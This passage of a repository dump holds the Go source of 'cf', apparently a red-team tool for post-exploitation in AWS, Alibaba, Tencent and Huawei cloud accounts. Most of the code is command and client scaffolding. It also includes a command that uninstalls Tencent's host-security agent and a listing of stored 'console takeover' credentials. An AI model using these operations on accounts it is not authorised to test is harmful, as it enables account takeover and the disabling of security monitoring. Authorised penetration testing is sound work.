├── pkg ├── util │ ├── global │ │ ├── const.go │ │ └── var.go │ ├── database │ │ ├── timeStamp.go │ │ ├── cacheOSS.go │ │ ├── db.go │ │ ├── cacheTakeoverConsole.go │ │ ├── cacheRDS.go │ │ ├── cacheECS.go │ │ └── config.go │ ├── util.go │ ├── logger.go │ ├── timeStamp.go │ ├── version.go │ ├── pubutil │ │ └── pubutil.go │ ├── errutil │ │ └── errutil.go │ └── cmdutil │ │ ├── cache.go │ │ ├── findConfig.go │ │ └── upgrade.go └── cloud │ ├── tencent │ ├── tencentcwp │ │ ├── uninstall.go │ │ └── client.go │ ├── tencentconsole │ │ ├── cancelTakeoverConsole.go │ │ └── takeoverConsole.go │ ├── tencentcam │ │ └── client.go │ ├── tencentlh │ │ ├── client.go │ │ └── lhls.go │ └── tencentcvm │ │ ├── client.go │ │ └── cvmls.go │ ├── aws │ ├── awss3 │ │ ├── client.go │ │ ├── s3lsobject.go │ │ └── s3ls.go │ └── awsec2 │ │ ├── client.go │ │ └── ec2ls.go │ ├── cloudpub │ └── lsTakeoverConsole.go │ ├── huawei │ ├── huaweiobs │ │ ├── client.go │ │ ├── obslsobject.go │ │ └── obsls.go │ ├── huaweiconsole │ │ ├── cancelTakeoverConsole.go │ │ ├── takeoverConsole.go │ │ └── client.go │ └── huaweiiam │ │ └── client.go │ ├── alibaba │ ├── alioss │ │ ├── client.go │ │ ├── osslsobject.go │ │ └── ossget.go │ ├── alirds │ │ ├── client.go │ │ └── rdsls.go │ ├── aliconsole │ │ ├── cancelTakeoverConsole.go │ │ └── takeoverConsole.go │ ├── aliram │ │ └── client.go │ └── aliecs │ │ ├── client.go │ │ └── ecsls.go │ └── cloud.go ├── main.go ├── cmd ├── aws │ ├── aws.go │ ├── s3.go │ ├── regions.go │ └── ec2.go ├── huawei │ ├── huawei.go │ ├── perm.go │ ├── obs.go │ └── console.go ├── alibaba │ ├── alibaba.go │ ├── perm.go │ ├── ls.go │ ├── console.go │ ├── rds.go │ ├── regions.go │ ├── oss.go │ └── ecs.go ├── tencent │ ├── tencent.go │ ├── perm.go │ ├── cwp.go │ ├── regions.go │ ├── console.go │ ├── lh.go │ └── cvm.go ├── upgrade.go ├── version.go ├── about.go ├── root.go └── config.go ├── .gitignore ├── .goreleaser.yaml ├── .github ├── workflows │ └── release.yaml └── ISSUE_TEMPLATE │ ├── perf.yml │ ├── feat.yml │ └── bug.yml ├── Makefile ├── CONTRIBUTING.md └── go.mod /pkg/util/global/const.go: -------------------------------------------------------------------------------- 1 | package global 2 | 3 | const ( 4 | AppDirName = ".config/cf" 5 | Version = "v0.4.4" 6 | UpdateTime = "2022.12.13" 7 | ) 8 | -------------------------------------------------------------------------------- /pkg/util/global/var.go: -------------------------------------------------------------------------------- 1 | package global 2 | 3 | var CloudProviderMap = map[string]string{ 4 | "aws": "AWS (Amazon Web Services)", 5 | "alibaba": "阿里云 (Alibaba Cloud)", 6 | "tencent": "腾讯云 (Tencent Cloud)", 7 | "huawei": "华为云 (Huawei Cloud)", 8 | } 9 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "github.com/teamssix/cf/cmd" 5 | _ "github.com/teamssix/cf/cmd/alibaba" 6 | _ "github.com/teamssix/cf/cmd/aws" 7 | _ "github.com/teamssix/cf/cmd/huawei" 8 | _ "github.com/teamssix/cf/cmd/tencent" 9 | ) 10 | 11 | func main() { 12 | cmd.Execute() 13 | } 14 | -------------------------------------------------------------------------------- /cmd/aws/aws.go: -------------------------------------------------------------------------------- 1 | package aws 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "github.com/teamssix/cf/cmd" 6 | ) 7 | 8 | func init() { 9 | cmd.RootCmd.AddCommand(awsCmd) 10 | } 11 | 12 | var awsCmd = &cobra.Command{ 13 | Use: "aws", 14 | Short: "执行与 AWS 相关的操作 (Perform AWS related operations)", 15 | Long: "执行与 AWS 相关的操作 (Perform AWS related operations)", 16 | } 17 | -------------------------------------------------------------------------------- /cmd/huawei/huawei.go: -------------------------------------------------------------------------------- 1 | package huawei 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "github.com/teamssix/cf/cmd" 6 | ) 7 | 8 | func init() { 9 | cmd.RootCmd.AddCommand(huaweiCmd) 10 | } 11 | 12 | var huaweiCmd = &cobra.Command{ 13 | Use: "huawei", 14 | Short: "执行与华为云相关的操作 (Perform Huawei Cloud related operations)", 15 | Long: "执行与华为云相关的操作 (Perform Huawei Cloud related operations)", 16 | } 17 | -------------------------------------------------------------------------------- /cmd/alibaba/alibaba.go: -------------------------------------------------------------------------------- 1 | package alibaba 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "github.com/teamssix/cf/cmd" 6 | ) 7 | 8 | func init() { 9 | cmd.RootCmd.AddCommand(alibabaCmd) 10 | } 11 | 12 | var alibabaCmd = &cobra.Command{ 13 | Use: "alibaba", 14 | Short: "执行与阿里云相关的操作 (Perform Alibaba Cloud related operations)", 15 | Long: "执行与阿里云相关的操作 (Perform Alibaba Cloud related operations)", 16 | } 17 | -------------------------------------------------------------------------------- /cmd/tencent/tencent.go: -------------------------------------------------------------------------------- 1 | package tencent 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "github.com/teamssix/cf/cmd" 6 | ) 7 | 8 | func init() { 9 | cmd.RootCmd.AddCommand(tencentCmd) 10 | } 11 | 12 | var tencentCmd = &cobra.Command{ 13 | Use: "tencent", 14 | Short: "执行与腾讯云相关的操作 (Perform Tencent Cloud related operations)", 15 | Long: "执行与腾讯云相关的操作 (Perform Tencent Cloud related operations)", 16 | } 17 | -------------------------------------------------------------------------------- /cmd/alibaba/perm.go: -------------------------------------------------------------------------------- 1 | package alibaba 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "github.com/teamssix/cf/pkg/cloud/alibaba/aliram" 6 | ) 7 | 8 | func init() { 9 | alibabaCmd.AddCommand(permCmd) 10 | } 11 | 12 | var permCmd = &cobra.Command{ 13 | Use: "perm", 14 | Short: "列出当前凭证下所拥有的权限 (List access key permissions)", 15 | Long: `列出当前凭证下所拥有的权限 (List access key permissions)`, 16 | Run: func(cmd *cobra.Command, args []string) { 17 | aliram.ListPermissions() 18 | }, 19 | } 20 | -------------------------------------------------------------------------------- /cmd/huawei/perm.go: -------------------------------------------------------------------------------- 1 | package huawei 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "github.com/teamssix/cf/pkg/cloud/huawei/huaweiiam" 6 | ) 7 | 8 | func init() { 9 | huaweiCmd.AddCommand(permCmd) 10 | } 11 | 12 | var permCmd = &cobra.Command{ 13 | Use: "perm", 14 | Short: "列出当前凭证下所拥有的权限 (List access key permissions)", 15 | Long: `列出当前凭证下所拥有的权限 (List access key permissions)`, 16 | Run: func(cmd *cobra.Command, args []string) { 17 | huaweiiam.ListPermissions() 18 | }, 19 | } 20 | -------------------------------------------------------------------------------- /cmd/tencent/perm.go: -------------------------------------------------------------------------------- 1 | package tencent 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "github.com/teamssix/cf/pkg/cloud/tencent/tencentcam" 6 | ) 7 | 8 | func init() { 9 | tencentCmd.AddCommand(permCmd) 10 | } 11 | 12 | var permCmd = &cobra.Command{ 13 | Use: "perm", 14 | Short: "列出当前凭证下所拥有的权限 (List access key permissions)", 15 | Long: `列出当前凭证下所拥有的权限 (List access key permissions)`, 16 | Run: func(cmd *cobra.Command, args []string) { 17 | tencentcam.ListPermissions() 18 | }, 19 | } 20 | -------------------------------------------------------------------------------- /cmd/upgrade.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "github.com/teamssix/cf/pkg/util" 6 | "github.com/teamssix/cf/pkg/util/cmdutil" 7 | ) 8 | 9 | func init() { 10 | RootCmd.AddCommand(upgradeCmd) 11 | } 12 | 13 | var upgradeCmd = &cobra.Command{ 14 | Use: "upgrade", 15 | Short: "更新 cf 到最新版本 (Update cf to the latest version)", 16 | Long: "更新 cf 到最新版本 (Update cf to the latest version)", 17 | Run: func(cmd *cobra.Command, args []string) { 18 | cmdutil.Upgrade(util.GetCurrentVersion()) 19 | }, 20 | } 21 | -------------------------------------------------------------------------------- /pkg/cloud/tencent/tencentcwp/uninstall.go: -------------------------------------------------------------------------------- 1 | package tencentcwp 2 | 3 | import ( 4 | log "github.com/sirupsen/logrus" 5 | "github.com/teamssix/cf/pkg/util/errutil" 6 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common" 7 | cwp "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/cwp/v20180228" 8 | ) 9 | 10 | func UninstallAgent(UUID string) { 11 | client := CWPClient("") 12 | request := cwp.NewDeleteMachineRequest() 13 | request.Uuid = common.StringPtr(UUID) 14 | _, err := client.DeleteMachine(request) 15 | errutil.HandleErr(err) 16 | log.Info("卸载云镜成功 (Uninstall Agent Success)") 17 | } 18 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # If you prefer the allow list template instead of the deny list, see community template: 2 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore 3 | # 4 | # Binaries for programs and plugins 5 | *.exe 6 | *.exe~ 7 | *.dll 8 | *.so 9 | *.dylib 10 | 11 | # Test binary, built with `go test -c` 12 | *.test 13 | 14 | # Output of the go coverage tool, specifically when used with LiteIDE 15 | *.out 16 | 17 | # Dependency directories (remove the comment below to include it) 18 | # vendor/ 19 | tmp 20 | test 21 | build 22 | 23 | # Go workspace file 24 | go.work 25 | .DS_Store 26 | .idea 27 | cf 28 | cf.bak 29 | cf.exe.bak 30 | -------------------------------------------------------------------------------- /.goreleaser.yaml: -------------------------------------------------------------------------------- 1 | project_name: cf 2 | 3 | before: 4 | hooks: 5 | - go mod tidy 6 | - go generate ./... 7 | builds: 8 | - env: 9 | - CGO_ENABLED=0 10 | goos: 11 | - darwin 12 | - windows 13 | - linux 14 | goarch: 15 | - 386 16 | - amd64 17 | - arm64 18 | archives: 19 | - name_template: "{{ .ProjectName }}_{{ .Tag }}_{{ .Os }}_{{ .Arch }}" 20 | format_overrides: 21 | - goos: windows 22 | format: zip 23 | checksum: 24 | name_template: "checksums.txt" 25 | snapshot: 26 | name_template: "{{ incpatch .Version }}" 27 | changelog: 28 | sort: asc 29 | filters: 30 | exclude: 31 | - "^docs:" 32 | - "^doc:" 33 | - "^ci:" 34 | - "^Merge pull request" -------------------------------------------------------------------------------- /cmd/version.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "github.com/teamssix/cf/pkg/cloud" 6 | "github.com/teamssix/cf/pkg/util" 7 | ) 8 | 9 | func init() { 10 | RootCmd.AddCommand(versionCmd) 11 | } 12 | 13 | var versionCmd = &cobra.Command{ 14 | Use: "version", 15 | Short: "输出 cf 的版本和更新时间 (Print the version number and update time of cf)", 16 | Long: "输出 cf 的版本和更新时间 (Print the version number and update time of cf)", 17 | Run: func(cmd *cobra.Command, args []string) { 18 | data := [][]string{ 19 | {util.GetCurrentVersion(), util.GetUpdateTime()}, 20 | } 21 | var header = []string{"当前版本 (Version)", "更新时间 (Update Time)"} 22 | var td = cloud.TableData{Header: header, Body: data} 23 | cloud.PrintTable(td, "") 24 | }, 25 | } 26 | -------------------------------------------------------------------------------- /cmd/tencent/cwp.go: -------------------------------------------------------------------------------- 1 | package tencent 2 | 3 | import ( 4 | log "github.com/sirupsen/logrus" 5 | "github.com/spf13/cobra" 6 | tencentcwp2 "github.com/teamssix/cf/pkg/cloud/tencent/tencentcwp" 7 | ) 8 | 9 | var ( 10 | UUID string 11 | ) 12 | 13 | func init() { 14 | tencentCmd.AddCommand(cwpUninstall) 15 | cwpUninstall.Flags().StringVarP(&UUID, "UUID", "u", "", "指定云镜 UUID (Specify Agent UUID)") 16 | } 17 | 18 | var cwpUninstall = &cobra.Command{ 19 | Use: "uninstall", 20 | Short: "一键卸载云镜 (Uninstall Agent)", 21 | Long: "一键卸载云镜 (Uninstall Agent)", 22 | Run: func(cmd *cobra.Command, args []string) { 23 | if UUID == "" { 24 | log.Warnf("还未指定要卸载云镜的 UUID (The agent-UUID to be uninstall has not been specified yet)\n") 25 | cmd.Help() 26 | } else { 27 | tencentcwp2.UninstallAgent(UUID) 28 | } 29 | 30 | }, 31 | } 32 | -------------------------------------------------------------------------------- /.github/workflows/release.yaml: -------------------------------------------------------------------------------- 1 | name: Release 2 | 3 | on: 4 | workflow_dispatch: 5 | push: 6 | tags: 7 | - 'v*' 8 | permissions: 9 | contents: write 10 | 11 | env: 12 | GO_VERSION: 1.18 13 | 14 | jobs: 15 | goreleaser: 16 | runs-on: ubuntu-latest 17 | steps: 18 | - name: Checkout Source Code 19 | uses: actions/checkout@v4 20 | with: 21 | fetch-depth: 0 22 | - name: Setup Go Environment 23 | uses: actions/setup-go@v4 24 | with: 25 | go-version: ${{ env.GO_VERSION }} 26 | 27 | - name: Run GoReleaser 28 | uses: goreleaser/goreleaser-action@v5 29 | with: 30 | version: latest 31 | args: release --clean 32 | env: 33 | # CGO_ENABLED: 0 34 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 35 | -------------------------------------------------------------------------------- /pkg/util/database/timeStamp.go: -------------------------------------------------------------------------------- 1 | package database 2 | 3 | import ( 4 | "github.com/teamssix/cf/pkg/util/pubutil" 5 | ) 6 | 7 | func InsertTimestamp(TimestampCache pubutil.TimestampCache) { 8 | var TimestampCacheList []pubutil.TimestampCache 9 | TimestampType := TimestampCache.TimestampType 10 | if SelectTimestampType(TimestampType) != 0 { 11 | CacheDb.Where("timestamp_type = ?", TimestampType).Delete(&TimestampCacheList) 12 | } 13 | CacheDb.Create(&TimestampCache) 14 | } 15 | 16 | func SelectTimestampType(TimestampType string) int64 { 17 | var ( 18 | TimestampCache pubutil.TimestampCache 19 | TimestampCacheList []pubutil.TimestampCache 20 | ) 21 | CacheDb.Where("timestamp_type = ?", TimestampType).Find(&TimestampCacheList) 22 | if len(TimestampCacheList) == 0 { 23 | return TimestampCache.Timestamp 24 | } else { 25 | return TimestampCacheList[0].Timestamp 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /pkg/cloud/aws/awss3/client.go: -------------------------------------------------------------------------------- 1 | package awss3 2 | 3 | import ( 4 | "os" 5 | 6 | "github.com/aws/aws-sdk-go/aws" 7 | "github.com/aws/aws-sdk-go/aws/credentials" 8 | "github.com/aws/aws-sdk-go/aws/session" 9 | "github.com/aws/aws-sdk-go/service/s3" 10 | log "github.com/sirupsen/logrus" 11 | "github.com/teamssix/cf/pkg/util/cmdutil" 12 | ) 13 | 14 | func S3Client(region string) *s3.S3 { 15 | config := cmdutil.GetConfig("aws") 16 | if config.AccessKeyId == "" { 17 | log.Warnln("需要先配置访问密钥 (Access Key need to be configured first)") 18 | os.Exit(0) 19 | return nil 20 | } else { 21 | if region == "all" { 22 | region = "us-east-1" 23 | } 24 | cfg := &aws.Config{ 25 | Region: aws.String(region), 26 | Credentials: credentials.NewStaticCredentials(config.AccessKeyId, config.AccessKeySecret, config.STSToken), 27 | } 28 | sess := session.Must(session.NewSession(cfg)) 29 | svc := s3.New(sess) 30 | log.Traceln("S3 Client 连接成功 (S3 Client connection successful)") 31 | return svc 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /pkg/cloud/cloudpub/lsTakeoverConsole.go: -------------------------------------------------------------------------------- 1 | package cloudpub 2 | 3 | import ( 4 | log "github.com/sirupsen/logrus" 5 | "github.com/teamssix/cf/pkg/cloud" 6 | "github.com/teamssix/cf/pkg/util/database" 7 | ) 8 | 9 | func LsTakeoverConsole(provider string) { 10 | TakeoverConsoleCache := database.SelectTakeoverConsoleCache(provider) 11 | if len(TakeoverConsoleCache) == 0 { 12 | log.Info("未找到控制台接管信息 (No console takeover information found)") 13 | } else { 14 | var ( 15 | header = []string{"云服务提供商 (Provider)", "主账号 ID (Primary Account ID)", "用户名 (User Name)", "密码 (Password)", "控制台登录地址 (Login Url)", "接管时间 (Takeover Time)"} 16 | data [][]string 17 | ) 18 | for _, v := range TakeoverConsoleCache { 19 | data = append(data, []string{ 20 | v.Provider, 21 | v.PrimaryAccountID, 22 | v.UserName, 23 | v.Password, 24 | v.LoginUrl, 25 | v.CreateTime, 26 | }) 27 | } 28 | var td = cloud.TableData{Header: header, Body: data} 29 | cloud.PrintTable(td, "控制台接管信息 (Console takeover information)") 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /cmd/about.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "github.com/gookit/color" 5 | "github.com/spf13/cobra" 6 | "github.com/teamssix/cf/pkg/cloud" 7 | ) 8 | 9 | func init() { 10 | RootCmd.AddCommand(aboutCmd) 11 | } 12 | 13 | var aboutCmd = &cobra.Command{ 14 | Use: "about", 15 | Short: "关于作者 (About me)", 16 | Long: `关于作者 (About me)`, 17 | Run: func(cmd *cobra.Command, args []string) { 18 | color.Print(` 19 | 嗨, 我是 TeamsSix,很开心您能找到这儿,您可以在下面的平台中找到并关注我。 20 | Hi, I'm TeamsSix and I'm glad you've found this place. You can find and follow me on the social platforms and links below. 21 | 22 | `) 23 | data := [][]string{ 24 | {"@teamssix", "TeamsSix", "teamssix.com", "github.com/teamssix", "wiki.teamssix.com", "狼组安全团队 @wgpsec"}, 25 | } 26 | var header = []string{"推特 (Twitter)", "微信公众号", "博客 (Blog)", "Github", "云安全知识库 T Wiki", "所属团队 (Organization)"} 27 | var td = cloud.TableData{Header: header, Body: data} 28 | cloud.PrintTable(td, "") 29 | color.Print(` 30 | 如果您使用着感觉还不错,记得给个 Star 哦(另外 T Wiki 是我自己在维护的云安全知识库,如果您想加入云安全交流群,那么在 T Wiki 中可以找到) 31 | 感谢您使用我的工具 (Thank you for using my tool.) 32 | `) 33 | }, 34 | } 35 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | BUILD_ENV := CGO_ENABLED=0 2 | LDFLAGS=-v -a -ldflags '-s -w' -gcflags="all=-trimpath=${PWD}" -asmflags="all=-trimpath=${PWD}" 3 | 4 | TARGET_EXEC := cf 5 | 6 | .PHONY: all setup build-linux build-osx build-windows 7 | 8 | all: setup build-linux build-osx build-windows 9 | 10 | setup: 11 | mkdir -p build 12 | 13 | build-osx: 14 | ${BUILD_ENV} GOARCH=amd64 GOOS=darwin go build ${LDFLAGS} -o build/${TARGET_EXEC}_darwin_amd64 15 | ${BUILD_ENV} GOARCH=arm64 GOOS=darwin go build ${LDFLAGS} -o build/${TARGET_EXEC}_darwin_arm64 16 | 17 | build-linux: 18 | ${BUILD_ENV} GOARCH=amd64 GOOS=linux go build ${LDFLAGS} -o build/${TARGET_EXEC}_linux_amd64 19 | ${BUILD_ENV} GOARCH=arm64 GOOS=linux go build ${LDFLAGS} -o build/${TARGET_EXEC}_linux_arm64 20 | ${BUILD_ENV} GOARCH=386 GOOS=linux go build ${LDFLAGS} -o build/${TARGET_EXEC}_linux_386 21 | 22 | build-windows: 23 | ${BUILD_ENV} GOARCH=amd64 GOOS=windows go build ${LDFLAGS} -o build/${TARGET_EXEC}_windows_amd64.exe 24 | ${BUILD_ENV} GOARCH=arm64 GOOS=windows go build ${LDFLAGS} -o build/${TARGET_EXEC}_windows_arm64.exe 25 | ${BUILD_ENV} GOARCH=386 GOOS=windows go build ${LDFLAGS} -o build/${TARGET_EXEC}_windows_386.exe -------------------------------------------------------------------------------- /pkg/cloud/huawei/huaweiobs/client.go: -------------------------------------------------------------------------------- 1 | package huaweiobs 2 | 3 | import ( 4 | "github.com/huaweicloud/huaweicloud-sdk-go-obs/obs" 5 | log "github.com/sirupsen/logrus" 6 | "github.com/teamssix/cf/pkg/util/cmdutil" 7 | "github.com/teamssix/cf/pkg/util/errutil" 8 | "os" 9 | ) 10 | 11 | func obsClient(region string) *obs.ObsClient { 12 | var ( 13 | obsClient *obs.ObsClient 14 | err error 15 | ) 16 | config := cmdutil.GetConfig("huawei") 17 | if config.AccessKeyId == "" { 18 | log.Warnln("需要先配置访问密钥 (Access Key need to be configured first)") 19 | os.Exit(0) 20 | return nil 21 | } else { 22 | if region == "all" { 23 | region = "cn-north-1" 24 | } 25 | if config.STSToken == "" { 26 | obsClient, err = obs.New(config.AccessKeyId, config.AccessKeySecret, "https://obs."+region+".myhuaweicloud.com") 27 | } else { 28 | obsClient, err = obs.New(config.AccessKeyId, config.AccessKeySecret, "https://obs."+region+".myhuaweicloud.com", obs.WithSecurityToken(config.STSToken)) 29 | } 30 | if err == nil { 31 | log.Traceln("obs Client 连接成功 (obs Client connection successful)") 32 | } else { 33 | errutil.HandleErr(err) 34 | } 35 | return obsClient 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /pkg/util/database/cacheOSS.go: -------------------------------------------------------------------------------- 1 | package database 2 | 3 | import ( 4 | "github.com/teamssix/cf/pkg/util/pubutil" 5 | ) 6 | 7 | func InsertOSSCache(OSSCache []pubutil.OSSCache) { 8 | DeleteOSSCache(OSSCache[0].AccessKeyId) 9 | CacheDb.Create(&OSSCache) 10 | } 11 | 12 | func DeleteOSSCache(AccessKeyId string) { 13 | var OSSCache []pubutil.OSSCache 14 | CacheDb.Where("access_key_id = ? COLLATE NOCASE", AccessKeyId).Delete(&OSSCache) 15 | } 16 | 17 | func SelectOSSCache(provider string) []pubutil.OSSCache { 18 | var OSSCache []pubutil.OSSCache 19 | AccessKeyId := SelectConfigInUse(provider).AccessKeyId 20 | CacheDb.Where("access_key_id = ? COLLATE NOCASE", AccessKeyId).Find(&OSSCache) 21 | return OSSCache 22 | } 23 | 24 | func SelectOSSCacheFilter(provider string, region string) []pubutil.OSSCache { 25 | var OSSCache []pubutil.OSSCache 26 | AccessKeyId := SelectConfigInUse(provider).AccessKeyId 27 | switch { 28 | case region == "all": 29 | CacheDb.Where("access_key_id = ? COLLATE NOCASE", AccessKeyId).Find(&OSSCache) 30 | case region != "all": 31 | CacheDb.Where("access_key_id = ? AND region = ? COLLATE NOCASE", AccessKeyId, region).Find(&OSSCache) 32 | } 33 | return OSSCache 34 | } 35 | -------------------------------------------------------------------------------- /cmd/tencent/regions.go: -------------------------------------------------------------------------------- 1 | package tencent 2 | 3 | import ( 4 | "strconv" 5 | 6 | "github.com/teamssix/cf/pkg/cloud/tencent/tencentcvm" 7 | 8 | "github.com/spf13/cobra" 9 | "github.com/teamssix/cf/pkg/cloud" 10 | ) 11 | 12 | func init() { 13 | tencentCmd.AddCommand(regionsCmd) 14 | regionsCmd.AddCommand(CVMRegionsCmd) 15 | } 16 | 17 | var regionsCmd = &cobra.Command{ 18 | Use: "regions", 19 | Short: "列出可用区域 (List available regions)", 20 | Long: "列出可用区域 (List available regions)", 21 | } 22 | 23 | var CVMRegionsCmd = &cobra.Command{ 24 | Use: "cvm", 25 | Short: "列出腾讯云 CVM 的区域 (List the regions of tencent cloud CVM)", 26 | Long: "列出腾讯云 CVM 的区域 (List the regions of tencent cloud CVM)", 27 | Run: func(cmd *cobra.Command, args []string) { 28 | regions := tencentcvm.GetCVMRegions() 29 | var data = make([][]string, len(regions)) 30 | for i, v := range regions { 31 | SN := strconv.Itoa(i + 1) 32 | data[i] = []string{SN, *v.Region, *v.RegionName, *v.RegionState} 33 | } 34 | var header = []string{"序号 (SN)", "地域名称 (Region)", "地域描述 (Region Name)", "地域是否可用状态 (Region State)"} 35 | var td = cloud.TableData{Header: header, Body: data} 36 | cloud.PrintTable(td, "") 37 | }, 38 | } 39 | -------------------------------------------------------------------------------- /pkg/cloud/aws/awsec2/client.go: -------------------------------------------------------------------------------- 1 | package awsec2 2 | 3 | import ( 4 | "os" 5 | 6 | "github.com/teamssix/cf/pkg/util/errutil" 7 | 8 | "github.com/aws/aws-sdk-go/aws" 9 | "github.com/aws/aws-sdk-go/aws/credentials" 10 | "github.com/aws/aws-sdk-go/aws/session" 11 | "github.com/aws/aws-sdk-go/service/ec2" 12 | log "github.com/sirupsen/logrus" 13 | "github.com/teamssix/cf/pkg/util/cmdutil" 14 | ) 15 | 16 | func EC2Client(region string) *ec2.EC2 { 17 | config := cmdutil.GetConfig("aws") 18 | if config.AccessKeyId == "" { 19 | log.Warnln("需要先配置访问密钥 (Access Key need to be configured first)") 20 | os.Exit(0) 21 | return nil 22 | } else { 23 | if region == "all" { 24 | region = "us-east-1" 25 | } 26 | cfg := &aws.Config{ 27 | Region: aws.String(region), 28 | Credentials: credentials.NewStaticCredentials(config.AccessKeyId, config.AccessKeySecret, config.STSToken), 29 | } 30 | sess := session.Must(session.NewSession(cfg)) 31 | svc := ec2.New(sess) 32 | log.Traceln("EC2 Client 连接成功 (EC2 Client connection successful)") 33 | return svc 34 | } 35 | } 36 | 37 | func GetEC2Regions() []*ec2.Region { 38 | svc := EC2Client("all") 39 | result, err := svc.DescribeRegions(nil) 40 | errutil.HandleErr(err) 41 | return result.Regions 42 | } 43 | -------------------------------------------------------------------------------- /cmd/aws/s3.go: -------------------------------------------------------------------------------- 1 | package aws 2 | 3 | import ( 4 | log "github.com/sirupsen/logrus" 5 | "github.com/spf13/cobra" 6 | "github.com/teamssix/cf/pkg/cloud/aws/awss3" 7 | ) 8 | 9 | var ( 10 | s3LsRegion string 11 | s3LsFlushCache bool 12 | s3LsObjectNumber string 13 | ) 14 | 15 | func init() { 16 | awsCmd.AddCommand(s3Cmd) 17 | s3Cmd.AddCommand(s3LsCmd) 18 | 19 | s3LsCmd.Flags().StringVarP(&s3LsObjectNumber, "number", "n", "all", "指定列出对象的数量 (Specify the number of objects to list)") 20 | s3LsCmd.Flags().StringVarP(&s3LsRegion, "region", "r", "all", "指定区域 ID (Specify region ID)") 21 | s3LsCmd.Flags().BoolVar(&s3LsFlushCache, "flushCache", false, "刷新缓存,不使用缓存数据 (Refresh the cache without using cached data)") 22 | 23 | } 24 | 25 | var s3Cmd = &cobra.Command{ 26 | Use: "s3", 27 | Short: "执行与对象存储相关的操作 (Perform s3-related operations)", 28 | Long: "执行与对象存储相关的操作 (Perform s3-related operations)", 29 | } 30 | 31 | var s3LsCmd = &cobra.Command{ 32 | Use: "ls", 33 | Short: "列出所有的存储桶 (List all buckets)", 34 | Long: "列出所有的存储桶 (List all buckets)", 35 | Run: func(cmd *cobra.Command, args []string) { 36 | log.Debugf("s3LsRegion: %s, s3LsFlushCache: %v", s3LsRegion, s3LsFlushCache) 37 | awss3.PrintBucketsList(s3LsRegion, s3LsFlushCache, s3LsObjectNumber) 38 | }, 39 | } 40 | -------------------------------------------------------------------------------- /pkg/util/util.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "math/rand" 5 | "time" 6 | ) 7 | 8 | // 去除重复字符串和空格 9 | func RemoveDuplicatesAndEmpty(a []string) (ret []string) { 10 | a_len := len(a) 11 | for i := 0; i < a_len; i++ { 12 | if (i > 0 && a[i-1] == a[i]) || len(a[i]) == 0 { 13 | continue 14 | } 15 | ret = append(ret, a[i]) 16 | } 17 | return 18 | } 19 | 20 | func GenerateRandomPasswords() string { 21 | rand.Seed(time.Now().UnixNano()) 22 | digits := "0123456789" 23 | specials := "%@#$" 24 | all := "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + 25 | "abcdefghijklmnopqrstuvwxyz" + 26 | digits + specials 27 | length := 16 28 | buf := make([]byte, length) 29 | buf[0] = digits[rand.Intn(len(digits))] 30 | buf[1] = specials[rand.Intn(len(specials))] 31 | for i := 2; i < length; i++ { 32 | buf[i] = all[rand.Intn(len(all))] 33 | } 34 | rand.Shuffle(len(buf), func(i, j int) { 35 | buf[i], buf[j] = buf[j], buf[i] 36 | }) 37 | str := string(buf) 38 | return str 39 | } 40 | 41 | // 生成随机名称 42 | func GetRandomString(length int) string { 43 | const charset = "abcdefghijklmnopqrstuvwxyz" + 44 | "0123456789" 45 | 46 | rand.Seed(time.Now().UnixNano()) 47 | 48 | b := make([]byte, length) 49 | for i := range b { 50 | b[i] = charset[rand.Intn(len(charset))] 51 | } 52 | return string(b) 53 | } 54 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/perf.yml: -------------------------------------------------------------------------------- 1 | name: 功能优化反馈 (Feature optimization feedback) 2 | description: 提交一个功能优化需求帮助改进这个项目 (Submit a feature optimization request to help improve this project) 3 | title: "[Perf] <在这里输入你的标题 (Enter your title here)>" 4 | labels: ["performance"] 5 | assignees: 6 | - teamssix 7 | body: 8 | - type: markdown 9 | attributes: 10 | value: | 11 | 感谢您花时间提交这份 issue (Thanks for taking the time to fill out this bug report! ) 12 | - type: textarea 13 | id: performance 14 | attributes: 15 | label: 描述你希望优化的功能 (Describe the features you wish to optimize) 16 | value: "详细描述你希望优化的功能,并且描述为什么想要对这个功能进行优化,描述的越完善该反馈越有可能被采纳。(Describe in detail the feature you want to optimize and why you want to optimize it, the better the description the more likely the feedback will be accepted.)" 17 | validations: 18 | required: true 19 | - type: textarea 20 | attributes: 21 | label: 补充信息 (Anything else?) 22 | description: | 23 | 链接?参考资料?任何可以给我们提供更多关于你所遇到的问题的背景资料的东西 24 | Links? References? Anything that will give us more context about the issue you are encountering! 25 | 26 | 提示:你可以通过点击这个区域来突出显示它,然后将文件拖入,从而附上图片或其他文件。 27 | Tip: You can attach images or log files by clicking this area to highlight it and then dragging files in. 28 | validations: 29 | required: false 30 | -------------------------------------------------------------------------------- /pkg/cloud/huawei/huaweiconsole/cancelTakeoverConsole.go: -------------------------------------------------------------------------------- 1 | package huaweiconsole 2 | 3 | import ( 4 | iamModel "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/iam/v3/model" 5 | log "github.com/sirupsen/logrus" 6 | "github.com/teamssix/cf/pkg/util/database" 7 | 